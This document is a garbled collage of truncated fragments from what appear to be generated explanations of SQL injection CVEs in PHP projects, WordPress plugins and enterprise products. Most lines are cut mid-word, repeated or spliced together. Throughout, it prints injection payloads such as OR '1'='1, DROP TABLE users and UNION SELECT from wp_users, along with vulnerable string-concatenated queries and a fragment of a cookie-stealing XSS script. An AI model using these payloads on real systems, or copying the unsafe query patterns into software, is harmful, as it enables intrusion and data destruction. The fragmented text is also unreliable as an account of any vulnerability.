$result = mysql_query($query);` This code is vulnerable because it concatenates user input directly into the SQL query without proper sanitization. This can lead to unauthorized access to user data or even complete database compromise.

`$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysql_query($query);` This code is vulnerable because it concatenates user input directly into the SQL query without proper sanitization. This can lead to unauthorized access to user data or even complete database compromise.

and other important data stored in the database. Additionally, attackers could alter or delete data, causing a day coming directly from user input, would turn into `SELECT * FROM users WHERE day = '1 OR 1=1'`.

use user input, which may allow attackers to send malicious SQL queries directly to the database, potentially viewing, addition, modification, or deletion of database entries. This ultimately compromises the configuration.

3. Destroying data or schema within the database, potentially causing denial of service.

4. Elevating privileges or gaining administrative access to the system.

ROM photos WHERE filename = '\$filename'; // The input is included in the SQL query without validation

oic2' multipart parameter within the functions.php resource. This flaw allows attackers to inject uncontrolled SQL commands into the underlying database server, which could potentially compromise the entire system or result in data loss.

base, the attacker can include SQL commands that will be executed by the database. This could involve injecting malicious code such as `DROP TABLE users;` or `DELETE FROM users;`. The attacker might also leverage the vulnerability to escalate privileges within the system or launch further attacks.

ncatenated into the SQL query without any validation or escaping, rendering the code susceptible to SQL injection attacks. By treating input data as separate from the query itself, the application fails to validate characters, allowing them to be sent unfiltered to the database.

unfiltered input, potentially allowing the attacker to manipulate the database or exfiltrate sensitive data.

Potentially unauthorized administrative access to the application.

processed by the database. The use of prepared statements or stored procedures can also help prevent this type of attack within the functions.php resource, leading to the possibility of adding unfiltered data to the database, which could be processed by the database.

ie attacker gaining access to sensitive user data such as personal details, passwords, and other confidential information. For example, if the query is structured as `SELECT * FROM photos WHERE id = 'user_input';`, and the user input is not properly validated, it could lead to SQL injection attacks.

ng the application open to SQL injection attacks.

access sensitive data, modify or delete data, or potentially compromise the entire database. For example, an attacker could inject malicious SQL code into the database, thus allowing for SQL Injection attacks.

re to their potential in allowing attackers to compromise a database system, retrieve, modify, or delete data. If user input is not properly validated and passed directly to the database, it could be passed directly to the database, potentially allowing for unauthorized database access or manipulation.

Online Matrimonial Project or related to the developers or publishers of the affected software. The 'ord' field is directly incorporated into a SQL query. Due to the lack of proper input validation, the SQL query would allow unfiltered data to be sent directly to the database, leading to potential malicious attacks. This could potentially lead to unauthorized access, data exfiltration, or database corruption. It could also lead to the deletion of records, or the dumping of database contents.

The Online Matrimonial Project could include personal user details, preferences, and communication. An attacker could craft a query like 'SELECT * FROM preferences WHERE id = 105 OR 1=1;'. This would return all records, bypassing any filters. Furthermore, applying the least privilege principle on the database account and keeping the system up-to-date with security patches can help mitigate such risks.

For example, consider a 'index.php' resource where input characters are not properly validated, allowing for potential SQL injection. An attacker could craft a query like 'SELECT * FROM users WHERE id = 1 OR 1=1;'. This would execute by the database server, leading to unauthorized access to database contents, data manipulation, and potentially data theft.

This vulnerability to compromise the integrity, confidentiality, or availability of the application, and depends on the way the application handles user input without proper sanitization, allowing attackers to submit specially crafted SQL queries that can be executed by the database server.

An SQL injection vulnerability could potentially give an attacker unauthorized access to the database. Depending on the SQL injection's payload, it could be used to manipulate data, delete data, or even alter the application's logic, and potentially gain administrative access to the application's backend system. It could also lead to potential SQL Injection attacks.

Attacks can occur if the input is not properly sanitized. For example, if an attacker provides input such as "' OR '1='1" to the 'txt_uname' parameter during the sign-up process.

If the input is not properly sanitized, it could lead to unauthorized access, data leaks, or database corruption. An attacker could use this vulnerability to execute arbitrary SQL commands, leading to data modification, or other malicious activities.

As an example, the attacker could provide input such as "' OR '1='1" to the 'txt_uname' parameter that would be submitted to the application and its data.

This type of attack is known as a SQL injection attack, and it can be used to bypass any form of authentication or authorization and giving the attacker the ability to read or modify data.

he SQL command to drop the 'users' table, leading to data loss.

enticated attackers with contributor-level privileges or higher can inject additional SQL queries into ex

ve

hereby manipulating the database to reveal sensitive information such as user credentials, personal d
ould potentially compromise the affected WordPress site or gain access to sensitive information such :

o unauthorized changes in the Firewall's settings or rules, which could compromise the security of the
olicit intent hijacking vulnerability.

ries. The attacker may employ various techniques, such as time-based or boolean-based blind SQL inj
i_id' parameter.

database. The exploitation method often involves inferring the response of the database to the crafter

on, and monitor for unusual activity indicative of attempted exploits.

responds, eventually discovering a way to extract data such as usernames, passwords, or other confid
out the SQL server connection that Veeam ONE uses to access its configuration database, potentially le

nipulate data within the SQL server that hosts the Veeam ONE configuration database, leading to a

bout the SQL server connection. With this information, the attacker could attempt to authenticate to t vulnerability, ethical researchers and security professionals might create proof of concept (PoC) code

S) attack.

account compromise, data theft, or manipulating the web page content for the victim.

ation, the JavaScript is executed in the context of a legitimate user's session, which can result in action

↑ of unfiltered data into the database, which can be exploited by attackers.

; leading to unauthorized data access or manipulation. An example of a crafted request might look like

ileges within the application.

the risk of SQL injection. If a patch is not available, consider limiting access to the vulnerable features or SQL code to the database without proper validation.

romising the security of the application.

e database. Since the vulnerability allows unauthenticated SQL Injection, potential attacks could happen → application into executing a query that always returns true, potentially allowing the attacker to view ↗ ing attackers to inject SQL commands unfiltered directly into the database.

, or exfiltration.

uld cause the SQL query to return all records as the OR '1'='1' condition is always true, potentially leadi

application does not require authentication to exploit this vulnerability, it is accessible to any malicious actor ↗ ut is not properly sanitized before being passed to the SQL database, leading to a potential for SQL inj

authorized data access or manipulation if the input is not correctly filtered and escapes into the SQL query. ↗ sclosure or unauthorized actions within the application.

orlds at '<https://projectworlds.in/>' which may provide additional context or information about the Online ↗ ity vulnerabilities.

outer.php' resource fails to properly validate input, allowing for characters to be sent unfiltered directl

atabase. This could allow an attacker to read, modify, or delete database content, and potentially gain ↗ RE username = '\$username' AND balance = '\$balance"';\$result = mysql_query(\$sql);?>``In this exempl

statement like 'OR 1=1' into the balance field. If the system is vulnerable and does not sanitize this input, an attacker can exploit it to gain unauthorized access.

ulate sensitive data. For instance, the attacker might send a request like 'ticket-message.php?ticket_id=12345'.

sanitized, allowing SQL code to be injected and executed in the database without any authentication.

, an attacker could use the following payload in the 'phone' parameter to retrieve sensitive data from the database, or even conducting denial of service attacks by corrupting database contents. Since it's an unauthenticated request, the user can't be identified.

acters to be sent directly to the database, potentially enabling attackers to execute arbitrary SQL commands.

part of a SQL query, potentially manipulating the database operations. For instance, an attacker could probe or entire databases, and, in some cases, gaining administrative rights or command execution on the system.

these sources for detailed analysis, patches, or mitigation strategies.

es because the application does not properly sanitize the input received via the 'phone' parameter before injecting malicious SQL code, which the database executes without authentication. This can lead to unauthorized users extracting sensitive data from the database, modifying or deleting data, and potentially gaining administrative privileges. For example, the payload '1 OR 1=1' could be used: '/routers/details-router.php?phone=1234' OR '1'=1. This payload could trick the SQL query into returning all orders, delete data, disrupt the service, or potentially use the compromised system as a foothold for further attacks.

being sent to the database, allowing for SQL injection attacks.

data, bypassing of application logic, and potential disclosure of sensitive information.

abase management system, compromising the security of the application.

`:a` query that always returns true, potentially exposing all tickets if used in a query context.

1

ed statements or stored procedures to handle SQL queries, thus avoiding dynamic SQL execution based

a legal and safe environment.

the database.

system into unauthorized actions such as bypassing authentication or accessing sensitive data. Due to this, an attacker can gain administrative access to the application, leading to further exploitation of the system. Failing to properly validate input characters, which are passed unfiltered directly into the database, leading to potential SQL injection attacks.

In this example, the 'OR 1=1' part of the injection always evaluates to true, which could potentially dump sensitive data from the database, retrieve, modify, or delete data, potentially accessing sensitive customer information. This could result in financial loss for the business and its customers. In a more severe case, an attacker could leverage the attack to gain administrative access to the database.

ous SQL commands to the database.

data access, data manipulation, and other database-related attacks.

ng code like 'status=1; DROP TABLE users; --', which, if executed by the database, could lead to the deletion of all data in the database system depending on the database privileges available to the web application.

re. It is also recommended to follow security best practices like sanitizing all input parameters and using prepared statements to get more details about the vulnerability and any available updates or patches.

o manipulate SQL queries by sending unfiltered characters directly to the database.

atabase entries, or even execute administrative operations on the database.

ng the 'users' table from the database.

lete system takeover.

not properly sanitize the input before sending it to the database, allowing attackers to execute arbitrary SQL commands.

hed is also recommended.

<http://example.com/routers/add-users.php?deleted=1; DROP TABLE users; --> In this example, the attacker attempted to drop the 'users' table by sending the URL with the parameter 'deleted' set to '1; DROP TABLE users; --'.

```
$contact');mysql_query($query);`` An attacker could exploit the vulnerability by submitting a contact  
ity and availability of the system.
```

ate input, allowing unfiltered data to be sent to the database.
, or even manipulate or destroy the data.

, potentially granting the attacker unauthorized access or the ability to retrieve all user records from the database, execute administrative operations on the database.

it is sent to the database, which can allow attackers to inject malicious SQL queries.
to data theft, modification of data, disruption of service, or even complete system takeover if the data

itize. For instance, the attacker could use something like 'admin' OR '1'='1 to trick the SQL query into giving them privileges that only expected characters are processed.

3. Implement prepared statements, parameterized queries

ereby allowing attackers to send malicious SQL queries directly to the database without filtering.
tive privileges, or even compromise the entire system.

, developers should review the security of the entire system to detect and fix similar issues proactively.
potentially return sensitive data or execute unintended actions.

ng the system open to SQL injection attacks where untrusted data is sent directly to the database.

the database, potentially allowing the attacker to access or modify data.

In this example, the user-supplied input from the 'name' parameter is not being sanitized and is directly inserted into the database.

em to a version that addresses this vulnerability and regularly applying security patches are also recommended.

```
$email = '$unfiltered_email"';Then the attacker could submit an email parameter value that would manipulate the database.
```

would potentially even modify or delete data, resulting in data loss or integrity compromise. As the endpoint

se, potentially leading to data deletion, unauthorized data access, or other malicious activities.
tion's database user account.

ut values properly before they are sent to the database, potentially allowing an attacker to manipulate
by the database server, leading to unauthorized access to or manipulation of the database.

plex query like '105; DROP TABLE users; --', which could lead to a loss of data if the 'users' table exists a
ures, and use ORM (Object Relational Mapping) tools that usually have built-in escaping mechanisms to
unity forums like the ones mentioned in the references could have more current information on availa
ity of the database content, and potentially lead to further attacks on the system or unauthorized acce
icial announcements, patches, and mitigation strategies directly related to the vulnerability.

here the characters received are not properly validated and are sent to the database without any filter.
Base Score once it is available.

e=burger' OR '1'='1' -- '. This could cause the database to execute unintended SQL commands, potentia
l access to the system. Since this vulnerability does not require any authentication, the system is more
t this flaw to read and modify the database content that the imageconverter SQL user account has acc

tch_Release_6243_7.10.6_2023-08-01.pdf'.

ead to unauthorized reading and alteration of data in the database accessible to the application, such as
'SELECT * FROM images WHERE id = ' + id; database.execute(query);}```If the 'id' parameter is not prop

ount.

.6243_7.10.6_2023-08-01.pdf

ntially leading to unauthorized data access, data manipulation, or other database-related attacks.
s issue requires access to adjacent networks of the imageconverter service, which is not usually expos
would then be executed unchecked, potentially allowing the attacker to affect data integrity, confiden
ge caching requests and also provides a means for detecting potential exploitation attempts.

:o protect against possible future exploitation.

ware.open-xchange.com/products/appsuite/doc/Release_Notes_for_Patch_Release_6243_7.10.6_202
ire not properly sanitized, the embedded SQL could be executed, leading to unauthorized database ac

:e user account.

'DF at https://software.open-xchange.com/products/appsuite/doc/Release_Notes_for_Patch_Release_6243_7.10.6_202

QL commands, potentially leading to data leakage, data manipulation, or other malicious activities. As
ving them to be sent unfiltered to the database, leading to potential exploitation.

cases, even full database compromise or a denial of service.

ng web application firewalls could help to safeguard against SQL Injection attacks.

:tly appended to the SQL query without any validation or sanitization, making it possible to inject malic
n all records from the bus_schedule table, as the injected OR '1'='1' condition is always true. If the que

OR '1'='1` ``This SQL query will be processed without filtering, potentially allowing the attacker to bypass
us SQL code into the vulnerable 'username' parameter.

odify, delete data, or gain unauthorized access to the database.

:SQL query might look like this: `query = "SELECT * FROM bus_routes WHERE destination = " + user_sup

nput before it is sent to the database, making it susceptible to SQL injection attacks.

:ntially gaining unauthorized access to sensitive information or disrupting service operations.

[properly validated and sanitized within the application. Users of the system should contact the vendor or](http://example.com/search.php?source=' OR '1='1` -- which, if processed by the server without sanitizati</p></div><div data-bbox=)

ate the user input, which allows attackers to send malicious SQL code unfiltered to the database, potentially executed in the database, which can lead to data leakage, corruption, deletion, or complete takeover of the application. It could also be the first step in a larger attack.

Some possible mitigation techniques or patches.

```
initialized.$query = "SELECT * FROM bus_schedule WHERE date = '$date"'; // The variable is used directly  
in user-supplied data is sent unfiltered to the database.
```

example, the input from the 'bus_id' GET parameter is directly interpolated into the SQL query without being sanitized by injecting a statement like 'OR '1'='1'. In another scenario, the attacker could attempt to alter or delete sensitive data via this parameter.

The input from the 'bus_id' parameter is not adequately sanitized, which allows for potentially malicious SQL statements to be injected.

This lack of sanitization can also result in complete host takeover.

If the application does not properly validate input data, destruction of data, or even complete database takeover. Attackers could use this vulnerability to gain unauthorized access to the database.

' OR '1'='1The above would be a classic SQL injection technique that attempts to manipulate the query to bypass the bus_info.php resource, which does not correctly validate input before passing it to the database, leading to unauthorized access.

Attackers can exploit this vulnerability by injecting malicious SQL commands through the application's authentication mechanisms.

he database into taking unintended actions:SELECT * FROM users WHERE email = " OR '1'='1';This would allow an attacker to gain unauthorized access to the database system. These attacks can be carried out without authentication if the application does not properly validate input characters, allowing them to be injected directly into SQL queries.

Attackers can also inject other malicious SQL commands, depending on the query's structure. Here's a conceptual code example:

the examination system or launching further attacks based on stolen data.

base without authentication.

application to execute arbitrary SQL commands which might lead to unauthorized data exposure, manage privileges, and potentially exploit other systems connected to the database. Parameterized queries, employing stored procedures, using an appropriate web application firewall, and updating application fails to properly validate input before passing it to the underlying database, making it prone can result in unauthorized data access, manipulation or control over the database, potentially compromise on the system or associated network infrastructure.

.length: lengthfeedback=' OR '1'='1' --The above example sends input that includes an SQL statement that queries, employing stored procedures, and implementing proper error handling. Additionally, it is advanced unfiltered to the database, creating a potential security risk where an attacker could manipulate SQL

corporated into the SQL query without any sanitization or parameterized queries, making it susceptible. In this instance, the attacker might attempt to retrieve sensitive user information, manipulate exam results, or

In this example, the attacker is injecting SQL code that always evaluates to true ('1'='1') and attempts to directions, using web application firewalls (WAFs), regularly updating and patching software components, i

Customer data from a database table, which they should not have access to under normal security constraints, password, could be exposed in logs, potentially leading to credential disclosure.

ns.
18e06b6f1e6f1cf8' for the technical details of the patch.
the whole URI including the password in the logs.
manipulation, or lateral movement within the affected organization's network.

affects versions of the plugin up until 1.7.1.
orized administrative access.

verability.

cking the provided references or directly with the vendor is recommended for the most recent information and procedures.

ipulate the database, leading to unauthorized data exposure, deletion, or modification. For instance, it can exist in existing SQL queries, allowing authenticated attackers with at least subscriber-level permissions to manipulate the database. This could allow the attacker to manipulate the database, extract sensitive data, perform

visory discussing the vulnerability.

In this example, there is no escaping or parameterization of '\$user_input', which could be crafted by the application's infrastructure, leading to a full site compromise.

g the vulnerable plugin from their WordPress installation. As a best practice, regular security audits are recommended for users with subscriber-level permissions or higher, enabling them to execute arbitrary SQL queries.

uses the shortcode to display slideshow images.

e2- <https://www.wordfence.com/threat-intel/vulnerabilities/id/7e24383b-5b0f-4114-908b-4c2778632>
In this example, the \$user_input variable is not properly escaped. \$query = "SELECT * FROM wp_slides WHERE user_id = '\$user_input'";
the WordPress user account used to exploit the vulnerability and the configuration of the DBMS.
L query construction. In particular, this issue affects versions up to, and including, 12.0 of the plugin.
nauthorized access to sensitive information stored in the database. An example of a malformed shortcode:

vities, including identity theft, unauthorized access to user accounts, or further attacks against the website. <https://core.trac.wordpress.org/browser/wp-fade-in-text-news/trunk/wp-fade-in-text-news.php?rev=2827202#L236>- <https://core.trac.wordpress.org/browser/wp-fade-in-text-news/trunk/wp-fade-in-text-news.php?rev=2827202#L236>
functionality without the known security issue. In addition, it is always a good practice to limit user participation in the creation of the SQL query. This vulnerability allows authenticated attackers with at least subscriber-level permissions to manipulate the database. This injection can lead to unauthorized access to database contents, including private user data, or even full database takeovers. The compromised data may include personal user details, such as names, addresses, and payment information. As a best practice, it is also advisable to review user access to ensure that only trusted individuals have access to sensitive data.

An attacker could supply input such as: \$user_input = ' OR '1'='1'. This would result in a successful login attempt, giving the attacker full access to the website's database. It's essential to refer to the plugin's documentation for more information on how to mitigate this vulnerability. In general, it's important to ensure that all user input is properly sanitized and validated before being used in SQL queries. Additionally, using prepared statements or parameterized queries can help prevent this type of attack. Regular security audits and updates are also crucial for maintaining the security of a website.

caping and preparation, leading to SQL Injection. This could allow the attacker to manipulate the data

ne reference URLs:- <https://plugins.trac.wordpress.org/browser/up-down-image-slideshow-gallery/trunk> instance, an attacker might submit a shortcode like this:[up_down_slideshow id='1' injection_here]w

'];\$sql = "SELECT * FROM table WHERE column = '" . \$unsafe_parameter . "'";\$result = mysql_query(\$sql);
o read sensitive data, manipulate the database, or potentially exploit other SQL-related vulnerabilities
on in the existing SQL queries, which allows attackers with subscriber-level permissions or higher to m
ise queries, which can then be executed to extract sensitive information, manipulate data, or possibly

pository showing fixes: <https://plugins.trac.wordpress.org/changeset/2985499/message-ticker#file1-.>

ker might craft a shortcode that includes SQL commands to dump the contents of the users table, expo
dequately escaped, and the SQL query is not properly prepared. This issue is present in versions up to a
pplication's database. The severity would also be influenced by factors such as the privileges required

enting on posts, could potentially exploit this vulnerability.

is. When this command is executed, it could append malicious SQL statements to existing queries, whi
<https://plugins.trac.wordpress.org/browser/up-down-image-slideshow-gallery/trunk/left-right-image-slideshow-gallery.php?rev=2827127#L2112>. A changeset th

<https://www.wordfence.com/threat-intel/vulnerabilities/id/3b7f8739-7f40-40a7-952e-002ea3b82ac7?source=up-down-image-slideshow-gallery&id=2827127#L2112>?sourc
T * FROM news_ticker WHERE id = {\$unsafe_parameter}";``An attacker could manipulate the input to
xploit the shortcode by injecting malicious SQL commands.

n authenticated attacker with subscriber-level access or higher can inject additional SQL queries to ext
to information disclosure or other database-related attacks.

.php?rev=2827123#L134- <https://plugins.trac.wordpress.org/changeset/2985373/information-reel#file1-.>
`afted like so:\$query = "SELECT * FROM wp_info_reel WHERE id = \$user_supplied_id";An attacker coul

l delete records, disrupting site operations, or use the database access to launch further attacks on the site. This can allow authenticated attackers with at least subscriber-level permissions to inject additional SQL queries and perform an injection attack. The attacker would need to be authenticated with subscriber-level or higher permissions to manipulate database records, disrupt service, or potentially use the foothold to perform more extensive attacks on the system. For example, an attacker could use the following SQL query to retrieve all user information from the wp_users table: SELECT * FROM wp_users; This would result in an SQL query on the server side that might resemble: SELECT * FROM wp_users WHERE user_login = 'admin'. A changeset which might include fixes - <https://plugins.trac.wordpress.org/changeset/2827122>. A changeset which might include fixes - <https://plugins.trac.wordpress.org/changeset/2827122>.

insufficient preparation of SQL queries, allowing authenticated attackers with at least subscriber-level gain unauthorized access or execute arbitrary code on the vulnerable system. It's important to assess

ned for subscribers.

If sanitized and the SQL query is not prepared in a secure way, the malicious input can be executed as security firm specializing in WordPress security that tracks and documents such vulnerabilities.

262db9aa-0db5-48cd-a85b-3e6302e88a42?source=cve

SELECT username, password FROM wp_users WHERE '1'='1'] This example is a simplified SQL injection released. Additionally, WordPress administrators should ensure that roles and permissions are correct. Injection as it does not properly validate or sanitize the input before sending it to the database.

ing like the following code input in the parameter: 'setcasualleave=1; DROP TABLE users; --' This SQL command execution on the database server. This compromises the integrity, confidentiality, and availability.

strategies.

eration.

ng to information disclosure. Since the vulnerable code isn't explicitly detailed, it's not possible to prov

automated script or a malicious app that once executed, performs unauthorized queries or commands to the database, allowing them to reach the database unfiltered.

prevent SQL Injection vulnerabilities.

OR '1'='1` attempting to manipulate the SQL query in such a way that it returns all records from a database.

; authentication, or extract sensitive data if the SQL commands are executed unfiltered.
he 'add2' parameter that could lead to information leakage or destruction of the database.
s directly to the database without any filters.

and in severe cases, complete database control. For example, an attacker might submit a payload 'OR '1'='1` to usernames and passwords from the users table in the database.

resource, which allows an attacker to send malicious SQL code unfiltered to the database.
properly sanitize the input, these queries can be executed on the database, which might lead to unauthorized access.

he database, carrying out denial of service attacks by corrupting database entries, or even escalating privileges. `$query = "SELECT * FROM messages WHERE contact = '$contact'"` This unsafe SQL query construction allows special characters to be sent unfiltered to the database, which can be exploited to carry out SQL injection attacks to authenticate.

This code would be executed without proper sanitization, leading to SQL injection. `$result = mysql_query($sql);` An example of a malicious SQL statement which, when executed, could expose user data, admin credentials, or confidential information regarding this vulnerability.

This code ... In this example, the 'gender' parameter is taken directly from the user input through `\$_GET['gender']`. Given that these vulnerabilities are unauthenticated SQL injections, the risk is higher as the attack vector is controlled by the user. This increases the potential for an attacker to inject malicious SQL queries.

Malicious input is submitted, it could allow for unauthorized viewing, modifying, or deleting data in the database. It is likely to be '<https://projectworlds.in/>'.

hich would manipulate the SQL command constructed by the server. Here's a simplified version of vuln

ring them to compromise the database, access sensitive information, manipulate data, or disrupt service. Monitor for any suspicious activity related to the affected setup panel.

code to be sent directly to the database without any filtration.

the database into performing unintended actions, such as leaking sensitive data.

leges within the system.

o access the information.

ie of the information provided.

any authenticated user with access to those endpoints. The passwords are hashed and not in plaintext.

on could lead to an unauthorized party gaining sensitive information which might be further exploited. n the strength of the hashing algorithm and the complexity of the passwords, the attacker could use various and the official GitHub security advisory (<https://github.com/nautobot/nautobot/security/advisories/>) based on their environment and the details of the vulnerability.

If the database username, the attacker could leverage this information to plan further attacks or breaches involving sensitive data in the underlying database, and potentially a complete compromise of the ClearPass Policy Manager cluster.

A complete compromise of the ClearPass Policy Manager cluster.

This means that the attacker can execute arbitrary SQL statements on the database, allowing for manipulation and exfiltration of the data within the cluster.

For instance, they might extract confidential data like user credentials or configuration details and potentially use it for further attacks or breaches.

security audits and monitoring for anomalous activity could also help in reducing the chances of a successful attack. Insufficient escaping of user-supplied parameters and an improperly prepared SQL query. As a result, an attacker can inject additional SQL statements into the database.

<https://wpvulndb.com/vulnerabilities/4ca4-80b7-cafb37b87216?source=cve>.

When the shortcode is processed, the injected SQL could execute additional queries due to the vulnerability, allowing an attacker to perform actions as the logged-in user.

Additionally, employing best practices such as using prepared statements or WordPress database abstraction layers can prevent this type of attack. For example:

```
global $wpdb; $user_input = $atts['param']; $sql = "SELECT * FROM announcements WHERE id = $user_input";
```

Granted users with privileges to add or modify terms or tags to inject additional SQL statements into existing posts or pages.

modifying database information, executing administrative operations on the database, or even conducting a denial-of-service attack. An attacker can inject malicious code into the SQL query within the plugin's shortcode. Authenticated attackers with contributor-level permissions can then execute arbitrary SQL statements.

By manipulating the SQL query, the attacker could potentially retrieve or manipulate sensitive information from the database, potentially leading to website defacement, data corruption, or other malicious activities.

The attacker can craft a malicious SQL statement and input it by manipulating the plugin's shortcode. For example, the attacker crafts a malicious SQL statement and inputs it by manipulating the plugin's shortcode. By sending a malicious POST request to the `/api/jsonrpc` endpoint, the attacker can retrieve project details, and other proprietary information without proper authorization.

For example, if the attacker manipulates the `userId` parameter in the shortcode, they can execute arbitrary SQL statements. This can lead to data corruption or even a denial-of-service attack. The attacker can also escalate privileges within the application. This compromises data integrity and confidentiality.

An example of how an attacker might exploit this vulnerability is as follows:

custom credentials object might be included in the error message and subsequently logged, leading to access the database, leading to data breaches, data manipulation, or other malicious activities.
1 invalid frame. This issue was identified and addressed in Directus version 10.6.2.
ce (DoS) condition on the affected application.

d6b4948ddb8c3792bcf5b44f55bb`.

ad to a server crash, potentially causing a denial-of-service condition. Being able to send such a frame rform a SQL Injection. This could enable them to append additional SQL statements to existing queries itabase. This could potentially allow the attacker to read sensitive information from the database, tam

and detailed vulnerability information from Wordfence at '<https://www.wordfence.com/threat-intel/>' this CVE. If a patched version is not available, users may consider disabling the plugin until a fix is released. It appends `OR '1'='1` to the \$strid parameter, which could manipulate the logic of the SQL query to reflect what is stored in the affected database and the permissions of the database user.

I movement within the network if the database credentials are reused elsewhere. Given that the vulnerability is due to lack of prepared statements in SQL queries. Authenticated users with contributor-level access or higher can exploit this by appending them to the plugin's existing SQL queries, potentially leading to unauthorised access via a query via the plugin's shortcode, like so: `'[ipanorama id='1' UNION SELECT * FROM wp_users]'`. This can be mitigated by keeping the plugin updated to the latest versions as it ensures all known security issues are patched. Additionally, using security best practices such as code review showing the vulnerability: <https://plugins.trac.wordpress.org/browser/ipanorama-360-v1.1.1>. While the vulnerability itself may not be directly affected by the vulnerability itself, the consequences of a successful attack could be significant.

compromise the Java VM. It could lead to unauthorized update, insert, or delete access to some Java V

impacts.

ords without authorization. This could be used to compromise data integrity by inserting false data, update count privileges and network access via Oracle Net to exploit the weakness, potentially resulting in a de

by causing the Oracle Database Recovery Manager to hang or repeatedly crash.

cess to compromise the Oracle Database Sharding, resulting in a partial denial of service.

: can be demonstrated externally.

er than the attacker, the attack might involve tricking a legitimate user into performing certain actions

ring tricking a database administrator or another user into performing certain actions that trigger the i

quiring any authentication. As this is classified as an 'easily exploitable vulnerability', it may not requir

that triggers the vulnerability. Once exploited, the attacker would have the ability to manipulate or access the database. This particular SQL injection is blind, meaning the attacker derives information based on inclusion of SQL commands that cause the database to delay its response when the result of a query is true. To cause the database to pause for a specific number of seconds, indicating a condition is true if the response

The recommended course of action.

A denial of service. The attack can be particularly stealthy as it is a blind SQL injection, making detection challenging. It is important to monitor for upgrading.

visory/ntap-20231116-0008/', and '<https://www.ibm.com/support/pages/node/7047558>'. This could potentially lead to a denial of service. This could interrupt database services for legitimate users and potentially lead to a denial of service.

In this scenario, an attacker could disrupt mission-critical operations that rely on the availability of the database. This could lead to significant downtime and loss of productivity.

The attacker could gain unauthorized access to the application's database, including sensitive user information.

By executing unauthorized SQL commands, potentially leading to Information Disclosure or even a complete compromise of the database, allowing the attacker to retrieve any other information that is stored within the application's database.

The application is vulnerable to SQL Injection, which allows the attacker to execute arbitrary SQL commands on the application's backend database. This could lead to a denial of service, manipulation of database queries and access, modify, or delete data without proper authorization.

It is important to patch the application to protect against attacks exploiting this vulnerability.

This allows an unauthenticated user to execute arbitrary SQL commands on the application's backend database, which could be used to manipulate database queries and access, modify, or delete data without proper authorization.

Once an attacker has gained access to the database, they could use it as a foothold to launch further attacks against the network. Since the 'sorting' parameter is not properly sanitized, it could be manipulated to perform various types of attacks, such as SQL injection or denial of service.

Since SQL injection attacks can manipulate database server operations, they could lead to data breach
ata for any elections using the same backend.

er election results, access sensitive voter information, or compromise the integrity of the election syst
rnet.php, and a related YouTube video at <https://www.youtube.com/watch?v=yeG1xZkHc64>.
ectionservice.com/vote?electionId=5 OR 1=1 to retrieve data for all elections or something more malici
. Disruption of election processes by corrupting or deleting crucial data, potentially leading to a loss of

er relevant details.

ccess to the unencrypted data. An attacker could use the sensitive information extracted for malicious
ps if the 'test_item.path' field exceeds the 'ltree' field type indexing limit.

120 or equivalent recursive nesting of nested steps.
perly.

ions properly.

portPortal database to become unstable and reporting to stop, thereby disrupting the normal operatio

ry: <https://github.com/reportportal/reportportal/security/advisories/GHSA-mj24-gpw7-23m9- Reportl>
s.

sitive data and systems, suggesting it could be of high severity.

cker could gain access to camera feeds, retrieve user information, and even alter database records to cc
abase.

the query. For example: Usuario input: 'admin' OR '1'='1' Malicious query: SELECT * FROM users WHERE
e attacker to extract sensitive data, delete information, modify data, or perform other unauthorized ac

racter of the version string of the database is '5'. Depending on the response, the attacker can infer if it is possible to execute MS SQL commands remotely and escalate privileges on Windows systems.

cution of MS SQL commands and potentially gain elevated privileges on the affected Windows system

er. With access to the database, they could perform unauthorized actions, such as data exfiltration or if they have the ability to execute arbitrary commands, install malware, and potentially gain access to other parts of the network.

on on the plugin, such as changing settings or performing database optimization without the user's consent. For example, if an attacker finds a vulnerability in a plugin like `_s_id=cve`.

In this case, this could look like HTML forms or AJAX requests that change settings or manipulate the database without the user's knowledge. For example, if an attacker finds a vulnerability in a plugin like `_s_id=cve`.

nt.

If an attacker is able to exploit this vulnerability, they could manipulate the database without proper sanitization of the input, this could lead to a query that returns all the records instead of one, or it could manipulate the query to perform a complete database takeover, where the attacker can escalate their privileges or attack other parts of the system.

records, or inject malicious data into the database, compromising the integrity of the PoS system.

vulnerability.

An attacker could craft a payload that ends a legitimate query and appends a new one, such as 'OR '1'='1'. This would allow the attacker to publicly disclose the exploit, making it potentially exploitable.

ecks or execute unauthorized database operations.

ermission issues in the backup restoration process.

cker could input something like '12345; DROP TABLE users;' to attempt to drop a database table.

g to further exploitation.

/ issues such as SQL injection.

ntentially leading to data loss or unauthorized access. The malicious input bypasses validation and alte

n ORM (Object Relational Mapping) that escapes inputs automatically, or utilizing database-specific es
es such as SQL injection attacks.

pulation, or control over the database operations. For example, an attacker might input '18; DROP TAB

ng appropriate functions to sanitize the received data. Here's a simple PHP code example using a prep
r forms of exploitation.

/.

eading to operations that an administrator does not intend, like data leakage or corruption. For examp
e database to prevent SQL injection. It is also recommended to use hashing algorithms such as bcrypt to

or even gain unauthorized access to the system. Here's an example of malicious input: 'email@example.com';
ents}?>``Since the variable '\$email' is directly included in the SQL query without proper sanitation or

ution of the DROP TABLE statement on the database if no proper input handling mechanisms are in place.

nt the execution of unfiltered input as SQL commands.
nfiltered.

ecuted on the database, leading to unauthorized data access, manipulation, or deletion. This could resi
s WHERE isbn = ' . \$bookISBN;\$result = mysqli_query(\$connection, \$query); // There is no input validat

AND last_name = '\$lastName"';\$result = mysqli_query(\$conn, \$query);``In this code, an attacker could
it System.

any SQL commands, potentially leading to the extraction of the database contents and bypassing login
latabase without proper authentication, possibly leading to unauthorized data disclosure, loss of data i
l example, the 'email' parameter from the URL is inserted directly into the SQL query without any valid
y manipulating the SQL query, attackers could bypass authentication mechanisms and impersonate le
'/projectworlds.in/These references might contain more in-depth analysis, proofs of concept, or poten

ctives such as cookie theft.

cookie=' + encodeURIComponent(c))</script></div>``If this comment is saved to the database without
session tokens, or other sensitive information and send them back to the attacker, who could then us

commands, thus compromising the server's integrity.

be leveraged to gain root privileges, which would grant the attacker full control over the system.

ary commands. For example, they might inject a malicious payload that triggers remote code executio

tware. If successful, the attacker would be able to access the Elasticsearch database and read its conte

l over the database.

backend database. This could result in unauthorized reading of data, deletions, or modifications. For i
ring beyond the intended duration.

ling list announcements.

g access to sensitive information.

atabase's structure and contents or execute unauthorized SQL statements that could alter or delete dat

ta, disrupt service by deleting critical information, and possibly use the compromised server as a pivot

curity patches from official sources is an essential step in maintaining system security.

d be entered in a user authentication field. This would potentially pass through the web application's f
t the SQL injection flaw. If successful, the attacker would be able to extract sensitive data like user cre
